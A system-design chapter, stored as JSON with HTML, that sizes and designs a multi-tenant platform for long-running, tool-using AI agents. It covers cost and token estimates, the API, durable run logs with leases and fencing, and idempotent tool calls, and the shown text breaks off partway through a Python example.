{"id":"design-agent-platform","title":"Design a platform for running AI agents (long-running, tool-using tasks for many customers)","sections":[{"id":"overview","title":"Overview","html":"<p>A support-software company wants every new ticket labelled and answered in draft before a person opens it. A research firm wants a report on twenty competitors every Monday. A data team wants an agent that writes and runs SQL in a sandbox until a query is right. Each could wrap a model API in its own loop and rebuild crash recovery, sandboxes, approvals, budgets and logs. This chapter designs a hosted service that provides them to thousands of customers.</p>\n<p>A customer defines an <strong>agent</strong>: instructions, tools and a model. Each start, by API call, schedule or webhook, creates a <strong>run</strong>, which loops model call, tool calls, model call until the model answers or a limit stops it. <a href=\"/learn/ai-agents\">Agents and tool use</a> explains the loop and <a href=\"/learn/ai-security\">security for AI systems</a> the attacks it invites. Model calls go through an <a href=\"/learn/design-llm-gateway\">LLM gateway</a>, which handles provider routing, retries and team budgets, so this chapter covers what sits above it.</p>","headings":[]},{"id":"requirements-and-estimates","title":"Requirements and estimates","html":"<h3 id=\"requirements-and-estimates\">Requirements and estimates</h3>\n<p>Functional requirements:</p>\n<ul>\n<li><strong>Versioned agents.</strong> Each change creates an immutable version, and a run keeps the version it started with.</li>\n<li><strong>Runs start</strong> from an API call, a cron schedule or a webhook, and <strong>stream progress events</strong>: steps, tool calls, approval requests and the result.</li>\n<li><strong>Human approval</strong> for risky tool calls, with the run paused until a person decides.</li>\n<li><strong>Built-in tools</strong> (web fetch, code sandbox, browser) and <strong>customer tools</strong>: HTTP endpoints and Model Context Protocol (MCP) servers, which expose tools over JSON-RPC (<a href=\"/learn/ai-agents#connecting-tools-with-mcp\">connecting tools with MCP</a>).</li>\n<li><strong>Per-run limits</strong> on steps, tokens, wall-clock time and dollars.</li>\n</ul>\n<p>Non-functional requirements: a run resumes after any crash without repeating a side effect. One tenant cannot see another's data, slow its runs or spend its money. An acknowledged run is never lost.</p>\n<p><strong>Workload.</strong> Assume 4,000 tenants start <strong>2 million runs a day</strong> in three shapes (invented numbers). A <strong>step</strong> is one model call plus the tool calls it requests. A run starts with a fixed prefix (system prompt and tool definitions), and each step appends the model's output and tool results.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<div class=\"table-wrap\"><table><thead><tr><th>Run kind</th><th>Runs a day</th><th>Steps</th><th>Prefix</th><th>Added per step</th><th>Output per step</th><th>Duration</th></tr></thead><tbody><tr><td>Ticket triage</td><td>1,500,000</td><td>8</td><td>6,000</td><td>1,000</td><td>250</td><td>1.5 min</td></tr><tr><td>Web research</td><td>400,000</td><td>30</td><td>8,000</td><td>2,500</td><td>400</td><td>8 min</td></tr><tr><td>Sandbox (code or browser)</td><td>100,000</td><td>60</td><td>10,000</td><td>2,000</td><td>500</td><td>30 min</td></tr></tbody></table></div>\n<p>That is 2,000,000 ÷ 86,400 ≈ 23 runs a second. Schedules bunch at the start of working hours, so assume a peak of three times that, about <strong>69 a second</strong>. The runs make 1.5M × 8 + 400k × 30 + 100k × 60 = <strong>30 million steps a day</strong>.</p>\n<p><strong>Tokens grow quadratically.</strong> Step k reads the prefix P plus k − 1 additions of d tokens, P + (k − 1) × d. Over n steps a run reads n × P + d × n(n − 1) ÷ 2 input tokens, and the second term grows with the square of n.</p>\n<ul>\n<li>Triage: 8 × 6,000 + 1,000 × 28 = <strong>76,000</strong> input tokens. The last step reads 13,000.</li>\n<li>Research: 30 × 8,000 + 2,500 × 435 = <strong>1,327,500</strong>. The last step reads 80,500.</li>\n<li>Sandbox: 60 × 10,000 + 2,000 × 1,770 = <strong>4,140,000</strong>. The last step reads 128,000.</li>\n</ul>\n<p>A sandbox run has 7.5 times the steps of a triage run and reads 54 times the tokens. The platform sends about <strong>1.06 trillion input tokens a day</strong>.</p>\n<p><strong>Model spend.</strong> Assume $3 per million input and $15 per million output tokens. Uncached, a research run costs 1,327,500 × $3 ÷ 10⁶ + 12,000 × $15 ÷ 10⁶ = $3.98 + $0.18 = <strong>$4.16</strong>. With <a href=\"/learn/ai-agents#caching-the-stable-prefix\">prompt caching</a>, step k reads step k − 1's whole prompt from cache and writes only the new d tokens. Assume reads cost 0.1 times the input price ($0.30 per million), writes 1.25 times ($3.75), and the agent's prefix is already cached by earlier runs. A research run then reads 1,255,000 tokens and writes 72,500: 1,255,000 × $0.30 ÷ 10⁶ + 72,500 × $3.75 ÷ 10⁶ + $0.18 = $0.377 + $0.272 + $0.18 = <strong>$0.83</strong>.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<div class=\"table-wrap\"><table><thead><tr><th>Run kind</th><th>Uncached</th><th>Cached</th><th>Ratio</th><th>Per month, cached</th></tr></thead><tbody><tr><td>Ticket triage</td><td>$0.258</td><td>$0.077</td><td>3.4×</td><td>$3.46 million</td></tr><tr><td>Web research</td><td>$4.16</td><td>$0.83</td><td>5.0×</td><td>$9.94 million</td></tr><tr><td>Sandbox</td><td>$12.87</td><td>$2.10</td><td>6.1×</td><td>$6.30 million</td></tr></tbody></table></div>\n<p>Over 30 days that is about <strong>$19.7 million a month</strong> with caching and <strong>$100 million</strong> without, $0.33 per run on average. Longer runs gain more, because more of each prompt is history already sent. It needs a byte-stable prefix and steps within the cache's time to live (TTL).</p>\n<p><strong>Concurrent runs.</strong> By <a href=\"/learn/performance-and-latency#littles-law\">Little's law</a>, runs in flight equal arrival rate times duration. At peak, triage arrives at 3 × 1,500,000 ÷ 86,400 ≈ 52.1 a second for 90 seconds, so about 4,690 are active. Research gives 13.9 × 480 ≈ 6,670 and sandbox 3.47 × 1,800 ≈ 6,250, about <strong>17,600 active runs</strong> and 1,040 steps a second. The gateway carries about 1.78 million uncached input tokens a second (107 million a minute) and 22.5 million output tokens a minute, which needs quotas across several provider accounts.</p>\n<p><strong>Sandboxes.</strong> Only sandbox runs hold a virtual machine for their whole life, 6,250 at peak. Assume half run code in 1 GiB and half a browser in 2 GiB, 9,400 GiB in all. A host with 128 vCPUs and 512 GiB, keeping 64 GiB for itself, fits 448 ÷ 1.5 ≈ 298 by memory. Sandboxes mostly wait for the model, so assume 2 vCPUs each overcommitted 4 to 1: 128 × 4 ÷ 2 = 256. CPU binds, so 6,250 plus a warm pool of 100 needs 25 hosts. With two of three zones carrying the peak, that is 13 per zone, <strong>39 hosts</strong>: at an assumed $5 an hour, $142,350 a month, or $0.047 per sandbox run against $2.10 of model spend.</p>\n<p><strong>Run log.</strong> Each step stores what it added. A research run adds 72,500 + 12,000 = 84,500 tokens, about 338 KB at 4 bytes a token. Triage adds 36 KB and sandbox 592 KB, so the log grows 54 + 135 + 59 ≈ <strong>248 GB a day</strong>, 7.5 TB over 30 days before replication. At about three events per step, that is <strong>3,100 appends a second</strong> at peak.</p>","headings":[{"id":"requirements-and-estimates","title":"Requirements and estimates","depth":3}]},{"id":"api-design","title":"API design","html":"<h3 id=\"api-design\">API design</h3>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<div class=\"table-wrap\"><table><thead><tr><th>Call</th><th>Purpose</th></tr></thead><tbody><tr><td><code>POST /v1/agents</code>, <code>POST /v1/agents/{id}/versions</code></td><td>Create an agent and publish immutable versions.</td></tr><tr><td><code>POST /v1/runs</code></td><td>Start a run with an input and limits. Returns <code>202</code> and a run ID.</td></tr><tr><td><code>GET /v1/runs/{id}/events</code></td><td>Stream events over <a href=\"/learn/realtime#server-sent-events-sse\">server-sent events</a>, resuming from <code>Last-Event-ID</code>.</td></tr><tr><td><code>POST /v1/runs/{id}/approvals/{aid}</code></td><td>Approve or reject a paused tool call.</td></tr><tr><td><code>POST /v1/runs/{id}/cancel</code></td><td>Stop a run at the next safe point.</td></tr><tr><td><code>POST /v1/schedules</code>, <code>POST /v1/triggers</code></td><td>Start runs from a cron expression or a webhook.</td></tr></tbody></table></div>\n<p><code>POST /v1/runs</code> takes an <code>Idempotency-Key</code> header, so a retried start returns the same run (<a href=\"/learn/reliability-patterns#idempotency-keys\">idempotency keys</a>). Webhooks use the sender's delivery ID as the key. Each streamed event's <code>id</code> is its sequence number in the run log, so a client reconnecting with <code>Last-Event-ID: 57</code> gets event 58 onwards.</p>","headings":[{"id":"api-design","title":"API design","depth":3}]},{"id":"high-level-design","title":"High-level design","html":"<h3 id=\"high-level-design\">High-level design</h3>\n<figure class=\"diagram\" data-text=\"Customer API, schedules, webhooks <-> Run API auth, quotas (start, approve); Run API auth, quotas -> Agent registry versions (resolve version); Run API auth, quotas -> Scheduler fair step queues (enqueue run); Scheduler fair step queues -> Run workers step loop (step task); Run workers step loop <-> Run store event log (append); Run workers step loop -> LLM gateway to providers (model call); Run workers step loop -> Tool runtime sandboxes, fetch, MCP, HTTP (tool call); Run store event log -> Event stream SSE readers (tail log); Event stream SSE readers -> Customer API, schedules, webhooks (progress)\"><div class=\"diagram-scroll\"><svg class=\"dg\" viewBox=\"0 0 800 349\" width=\"800\" role=\"img\" aria-label=\"A run&#x27;s path. Workers are stateless, and the run store holds every run.\"><defs><marker id=\"dg-arrow\" viewBox=\"0 0 10 10\" refX=\"9\" refY=\"5\" markerWidth=\"7\" markerHeight=\"7\" orient=\"auto-start-reverse\"><path class=\"dg-arrowhead\" d=\"M0,1 L9,5 L0,9 z\"></path></marker></defs><line class=\"dg-edge\" x1=\"153\" y1=\"162\" x2=\"167\" y2=\"162\" marker-end=\"url(#dg-arrow)\" marker-start=\"url(#dg-arrow)\"></line><line class=\"dg-edge dg-dashed\" x1=\"240\" y1=\"133\" x2=\"240\" y2=\"78\" marker-end=\"url(#dg-arrow)\"></line><line class=\"dg-edge\" x1=\"311\" y1=\"162\" x2=\"327\" y2=\"162\" marker-end=\"url(#dg-arrow)\"></line><line class=\"dg-edge\" x1=\"471\" y1=\"162\" x2=\"487\" y2=\"162\" marker-end=\"url(#dg-arrow)\"></line><line class=\"dg-edge\" x1=\"560\" y1=\"193\" x2=\"560\" y2=\"270\" marker-end=\"url(#dg-arrow)\" marker-start=\"url(#dg-arrow)\"></line><line class=\"dg-edge\" x1=\"598.7\" y1=\"133\" x2=\"678.7\" y2=\"73\" marker-end=\"url(#dg-arrow)\"></line><line class=\"dg-edge\" x1=\"598.7\" y1=\"191\" x2=\"668\" y2=\"243\" marker-end=\"url(#dg-arrow)\"></line><line class=\"dg-edge dg-dashed\" x1=\"489\" y1=\"306\" x2=\"313\" y2=\"306\" marker-end=\"url(#dg-arrow)\"></line><line class=\"dg-edge dg-dashed\" x1=\"207.8\" y1=\"277\" x2=\"123.3\" y2=\"201\" marker-end=\"url(#dg-arrow)\"></line><rect class=\"dg-node dg-client\" x=\"12\" y=\"128\" width=\"136\" height=\"68\" rx=\"34\"></rect><text class=\"dg-label\" text-anchor=\"middle\"><tspan x=\"80\" y=\"150.5\">Customer API,</tspan><tspan x=\"80\" y=\"166.5\">schedules,</tspan><tspan x=\"80\" y=\"182.5\">webhooks</tspan></text><rect class=\"dg-node dg-box\" x=\"172\" y=\"136\" width=\"136\" height=\"52\" rx=\"8\"></rect><text class=\"dg-label\" text-anchor=\"middle\"><tspan x=\"240\" y=\"158.5\">Run API</tspan><tspan x=\"240\" y=\"174.5\">auth, quotas</tspan></text><path class=\"dg-node dg-store\" d=\"M172,18 a68,7 0 0,1 136,0 v48 a68,7 0 0,1 -136,0 z\"></path><path class=\"dg-line\" d=\"M172,18 a68,7 0 0,0 136,0\"></path><text class=\"dg-label\" text-anchor=\"middle\"><tspan x=\"240\" y=\"41.5\">Agent registry</tspan><tspan x=\"240\" y=\"57.5\">versions</tspan></text><path class=\"dg-node dg-store\" d=\"M492,282 a68,7 0 0,1 136,0 v48 a68,7 0 0,1 -136,0 z\"></path><path class=\"dg-line\" d=\"M492,282 a68,7 0 0,0 136,0\"></path><text class=\"dg-label\" text-anchor=\"middle\"><tspan x=\"560\" y=\"305.5\">Run store</tspan><tspan x=\"560\" y=\"321.5\">event log</tspan></text><rect class=\"dg-node dg-queue\" x=\"332\" y=\"136\" width=\"136\" height=\"52\" rx=\"6\"></rect><line class=\"dg-line\" x1=\"452\" y1=\"144\" x2=\"452\" y2=\"180\"></line><line class=\"dg-line\" x1=\"442\" y1=\"144\" x2=\"442\" y2=\"180\"></line><line class=\"dg-line\" x1=\"432\" y1=\"144\" x2=\"432\" y2=\"180\"></line><text class=\"dg-label\" text-anchor=\"middle\"><tspan x=\"386\" y=\"158.5\">Scheduler</tspan><tspan x=\"386\" y=\"174.5\">fair step queues</tspan></text><rect class=\"dg-node dg-box\" x=\"492\" y=\"136\" width=\"136\" height=\"52\" rx=\"8\"></rect><text class=\"dg-label\" text-anchor=\"middle\"><tspan x=\"560\" y=\"158.5\">Run workers</tspan><tspan x=\"560\" y=\"174.5\">step loop</tspan></text><rect class=\"dg-node dg-box\" x=\"652\" y=\"16\" width=\"136\" height=\"52\" rx=\"8\"></rect><text class=\"dg-label\" text-anchor=\"middle\"><tspan x=\"720\" y=\"38.5\">LLM gateway</tspan><tspan x=\"720\" y=\"54.5\">to providers</tspan></text><rect class=\"dg-node dg-box\" x=\"652\" y=\"248\" width=\"136\" height=\"68\" rx=\"8\"></rect><text class=\"dg-label\" text-anchor=\"middle\"><tspan x=\"720\" y=\"270.5\">Tool runtime</tspan><tspan x=\"720\" y=\"286.5\">sandboxes, fetch,</tspan><tspan x=\"720\" y=\"302.5\">MCP, HTTP</tspan></text><rect class=\"dg-node dg-box\" x=\"172\" y=\"280\" width=\"136\" height=\"52\" rx=\"8\"></rect><text class=\"dg-label\" text-anchor=\"middle\"><tspan x=\"240\" y=\"302.5\">Event stream</tspan><tspan x=\"240\" y=\"318.5\">SSE readers</tspan></text><rect class=\"dg-edge-bg\" x=\"111.6\" y=\"106\" width=\"96.8\" height=\"18\" rx=\"4\"></rect><text class=\"dg-edge-label\" x=\"160\" y=\"119\" text-anchor=\"middle\">start, approve</text><rect class=\"dg-edge-bg\" x=\"188.5\" y=\"96.5\" width=\"103\" height=\"18\" rx=\"4\"></rect><text class=\"dg-edge-label\" x=\"240\" y=\"109.5\" text-anchor=\"middle\">resolve version</text><rect class=\"dg-edge-bg\" x=\"279.9\" y=\"114\" width=\"78.2\" height=\"18\" rx=\"4\"></rect><text class=\"dg-edge-label\" x=\"319\" y=\"127\" text-anchor=\"middle\">enqueue run</text><rect class=\"dg-edge-bg\" x=\"446.1\" y=\"114\" width=\"65.8\" height=\"18\" rx=\"4\"></rect><text class=\"dg-edge-label\" x=\"479\" y=\"127\" text-anchor=\"middle\">step task</text><rect class=\"dg-edge-bg\" x=\"536.4\" y=\"222.5\" width=\"47.2\" height=\"18\" rx=\"4\"></rect><text class=\"dg-edge-label\" x=\"560\" y=\"235.5\" text-anchor=\"middle\">append</text><rect class=\"dg-edge-bg\" x=\"602.7\" y=\"94\" width=\"72\" height=\"18\" rx=\"4\"></rect><text class=\"dg-edge-label\" x=\"638.7\" y=\"107\" text-anchor=\"middle\">model call</text><rect class=\"dg-edge-bg\" x=\"600.4\" y=\"208\" width=\"65.8\" height=\"18\" rx=\"4\"></rect><text class=\"dg-edge-label\" x=\"633.3\" y=\"221\" text-anchor=\"middle\">tool call</text><rect class=\"dg-edge-bg\" x=\"371.2\" y=\"297\" width=\"59.6\" height=\"18\" rx=\"4\"></rect><text class=\"dg-edge-label\" x=\"401\" y=\"310\" text-anchor=\"middle\">tail log</text><rect class=\"dg-edge-bg\" x=\"135.8\" y=\"230\" width=\"59.6\" height=\"18\" rx=\"4\"></rect><text class=\"dg-edge-label\" x=\"165.6\" y=\"243\" text-anchor=\"middle\">progress</text></svg></div><figcaption>A run's path. Workers are stateless, and the run store holds every run.</figcaption></figure>\n<p>The run API resolves the agent version, writes <code>run_created</code> and enqueues the run. The scheduler hands out one step at a time, fairly across tenants. A worker takes a <strong>lease</strong> on the run (a lock that expires unless renewed), rebuilds state from the log, calls the model through the gateway, runs the requested tools, appends each result and returns the run. Event-stream servers tail the log and push new events to clients.</p>\n<p>Workers mostly wait on the network. If one asynchronous process drives 500 runs (an assumption to load-test), 17,600 runs need 36 processes. Any two of three zones must hold 36, so each zone runs 18, <strong>54</strong> in all.</p>","headings":[{"id":"high-level-design","title":"High-level design","depth":3}]},{"id":"the-run-loop-as-a-durable-workflow","title":"The run loop as a durable workflow","html":"<h3 id=\"the-run-loop-as-a-durable-workflow\">The run loop as a durable workflow</h3>\n<p>A 30-minute sandbox run will meet deploys, host failures and hung calls. The goal is <strong>durable execution</strong>: the run continues on any worker from where it stopped, and each side effect takes effect once.</p>\n<figure class=\"diagram\" data-text=\"Queued -> Running one step at a time (lease taken); Running one step at a time <-> Paused for approval; Running one step at a time <-> Backing off provider 429; Running one step at a time -> Succeeded (final answer); Running one step at a time -> Failed, limit or loop stop; Running one step at a time -> Cancelled or expired\"><div class=\"diagram-scroll\"><svg class=\"dg\" viewBox=\"0 0 720 320\" width=\"720\" role=\"img\" aria-label=\"Run states. Waiting states hold no worker.\"><defs><marker id=\"dg-arrow\" viewBox=\"0 0 10 10\" refX=\"9\" refY=\"5\" markerWidth=\"7\" markerHeight=\"7\" orient=\"auto-start-reverse\"><path class=\"dg-arrowhead\" d=\"M0,1 L9,5 L0,9 z\"></path></marker></defs><line class=\"dg-edge\" x1=\"151\" y1=\"162\" x2=\"247\" y2=\"162\" marker-end=\"url(#dg-arrow)\"></line><line class=\"dg-edge\" x1=\"320\" y1=\"123\" x2=\"320\" y2=\"73\" marker-end=\"url(#dg-arrow)\" marker-start=\"url(#dg-arrow)\"></line><line class=\"dg-edge\" x1=\"320\" y1=\"201\" x2=\"320\" y2=\"251\" marker-end=\"url(#dg-arrow)\" marker-start=\"url(#dg-arrow)\"></line><line class=\"dg-edge\" x1=\"391\" y1=\"135.4\" x2=\"567\" y2=\"69.4\" marker-end=\"url(#dg-arrow)\"></line><line class=\"dg-edge\" x1=\"391\" y1=\"162\" x2=\"567\" y2=\"162\" marker-end=\"url(#dg-arrow)\"></line><line class=\"dg-edge\" x1=\"391\" y1=\"188.6\" x2=\"567\" y2=\"254.6\" marker-end=\"url(#dg-arrow)\"></line><rect class=\"dg-node dg-box\" x=\"12\" y=\"138\" width=\"136\" height=\"48\" rx=\"8\"></rect><text class=\"dg-label\" text-anchor=\"middle\"><tspan x=\"80\" y=\"166.5\">Queued</tspan></text><rect class=\"dg-node dg-box\" x=\"252\" y=\"128\" width=\"136\" height=\"68\" rx=\"8\"></rect><text class=\"dg-label\" text-anchor=\"middle\"><tspan x=\"320\" y=\"150.5\">Running</tspan><tspan x=\"320\" y=\"166.5\">one step at</tspan><tspan x=\"320\" y=\"182.5\">a time</tspan></text><rect class=\"dg-node dg-box\" x=\"252\" y=\"16\" width=\"136\" height=\"52\" rx=\"8\"></rect><text class=\"dg-label\" text-anchor=\"middle\"><tspan x=\"320\" y=\"38.5\">Paused for</tspan><tspan x=\"320\" y=\"54.5\">approval</tspan></text><rect class=\"dg-node dg-box\" x=\"252\" y=\"256\" width=\"136\" height=\"52\" rx=\"8\"></rect><text class=\"dg-label\" text-anchor=\"middle\"><tspan x=\"320\" y=\"278.5\">Backing off</tspan><tspan x=\"320\" y=\"294.5\">provider 429</tspan></text><rect class=\"dg-node dg-note\" x=\"572\" y=\"18\" width=\"136\" height=\"48\" rx=\"8\"></rect><text class=\"dg-label dg-muted\" text-anchor=\"middle\"><tspan x=\"640\" y=\"46.5\">Succeeded</tspan></text><rect class=\"dg-node dg-note\" x=\"572\" y=\"136\" width=\"136\" height=\"52\" rx=\"8\"></rect><text class=\"dg-label dg-muted\" text-anchor=\"middle\"><tspan x=\"640\" y=\"158.5\">Failed, limit</tspan><tspan x=\"640\" y=\"174.5\">or loop stop</tspan></text><rect class=\"dg-node dg-note\" x=\"572\" y=\"256\" width=\"136\" height=\"52\" rx=\"8\"></rect><text class=\"dg-label dg-muted\" text-anchor=\"middle\"><tspan x=\"640\" y=\"278.5\">Cancelled or</tspan><tspan x=\"640\" y=\"294.5\">expired</tspan></text><rect class=\"dg-edge-bg\" x=\"159.9\" y=\"153\" width=\"78.2\" height=\"18\" rx=\"4\"></rect><text class=\"dg-edge-label\" x=\"199\" y=\"166\" text-anchor=\"middle\">lease taken</text><rect class=\"dg-edge-bg\" x=\"436.8\" y=\"93.4\" width=\"84.4\" height=\"18\" rx=\"4\"></rect><text class=\"dg-edge-label\" x=\"479\" y=\"106.4\" text-anchor=\"middle\">final answer</text></svg></div><figcaption>Run states. Waiting states hold no worker.</figcaption></figure>\n<p>The run store keeps an <strong>event-sourced log</strong> per run: an ordered list of events (<code>run_created</code>, <code>model_reply</code>, <code>tool_started</code>, <code>tool_result</code>, <code>approval_requested</code>, <code>approval_decided</code>, <code>compacted</code>, <code>run_finished</code>) from which the state is rebuilt by replaying them. The <strong>checkpoint</strong> after each step is the append itself. The model's reply is written before any tool it requested runs, so a crash never forces a second model call, whose answer could differ.</p>\n<p>Each append names the sequence number it expects, and the store rejects it if the log has moved on. That works as a <strong>fencing token</strong> (<a href=\"/learn/consensus#leases-and-fencing-tokens\">leases and fencing tokens</a>), so a stalled worker that lost its lease cannot overwrite its successor. Workers renew a 30-second lease every 10 seconds, a <strong>heartbeat</strong>, and after three misses the run moves, as with a <a href=\"/learn/queues-and-async#acknowledgements-and-visibility-timeouts\">visibility timeout</a>. Every call has a <a href=\"/learn/reliability-patterns#timeouts-and-deadlines\">deadline</a>, from 30 seconds for an HTTP tool to 20 minutes for a test suite, and long tool calls send their own heartbeats.</p>\n<h4 id=\"tool-calls-and-idempotency\">Tool calls and idempotency</h4>\n<p>Repeating a model call is safe, though it costs money. A tool call can create a ticket or send an email. The danger is a worker that dies after the tool acted and before the result was appended: the log shows <code>tool_started</code> and nothing after it.</p>\n<p>Delivery is <strong>at least once</strong>, so a tool may receive a call twice. Each call carries an idempotency key built from IDs already in the log, <code>run_id:tool_use_id</code>, so every attempt sends the same key (<a href=\"/learn/queues-and-async#duplicates-are-normal-so-make-workers-idempotent\">duplicates are normal</a>). Built-in tools honour it, and customer HTTP tools receive it as an <code>Idempotency-Key</code> header and declare whether they honour it. MCP's tool call has no standard idempotency field, so MCP tools count as not retry-safe unless the customer says otherwise. After a crash, a retry-safe call is resent with the same key. Any other call gets an \"outcome unknown\" error result, so the model can check, say by searching for the ticket, before acting again.</p>\n<pre class=\"shiki shiki-themes github-light github-dark\" style=\"background-color:#fff;--shiki-dark-bg:#24292e;color:#24292e;--shiki-dark:#e1e4e8\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">LOG</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">, </span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">TICKETS</span><span style=\"color:#D73A49;--shiki-dark:#F97583\"> =</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> [], {}   </span><span style=\"color:#6A737D;--shiki-dark:#6A737D\"># run log; customer tickets by idempotency key</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">def</span><span style=\"color:#6F42C1;--shiki-dark:#B392F0\"> append</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">(seq, event):</span></span>\n<span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">    if</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> seq </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">!=</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\"> len</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">(</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">LOG</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">):                 </span><span style=\"color:#6A737D;--shiki-dark:#6A737D\"># a stale worker cannot write</span></span>\n<span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">        raise</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\"> RuntimeError</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">(</span><span style=\"color:#D73A49;--shiki-dark:#F97583\">f</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"conflict: log at </span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">{len</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">(</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">LOG</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">)</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">}</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">, writer expected </span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">{</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">seq</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">}</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">)</span></span>\n<span class=\"line\"><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">    LOG</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">.append(event)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">def</span><span style=\"color:#6F42C1;--shiki-dark:#B392F0\"> create_ticket</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">(title, key):          </span><span style=\"color:#6A737D;--shiki-dark:#6A737D\"># a repeated key returns the first result</span></span>\n<span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">    return</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\"> TICKETS</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">.setdefault(key, </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">f</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"T-</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">{len</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">(</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">TICKETS</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">) </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">+</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\"> 1}</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">TOOLS</span><span style=\"color:#D73A49;--shiki-dark:#F97583\"> =</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> {</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"create_ticket\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">: {</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"fn\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">: create_ticket, </span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"idempotent\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">: </span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">True</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">}}</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">def</span><span style=\"color:#6F42C1;--shiki-dark:#B392F0\"> run_tool</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">(run_id, call, crash</span><span style=\"color:#D73A49;--shiki-dark:#F97583\">=</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">False</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">):</span></span>\n<span class=\"line\"><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">    seen </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">=</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> {(e[</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"type\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">], e.get(</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"call_id\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">)) </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">for</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> e </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">in</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\"> LOG</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">}</span></span>\n<span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">    if</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> (</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"tool_result\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">, call[</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"id\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">]) </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">in</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> seen:</span></span>\n<span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">        return</span><span style=\"color:#6A737D;--shiki-dark:#6A737D\">                          # already recorded: nothing to do</span></span>\n<span class=\"line\"><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">    tool </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">=</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\"> TOOLS</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">[call[</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"name\"</span><span 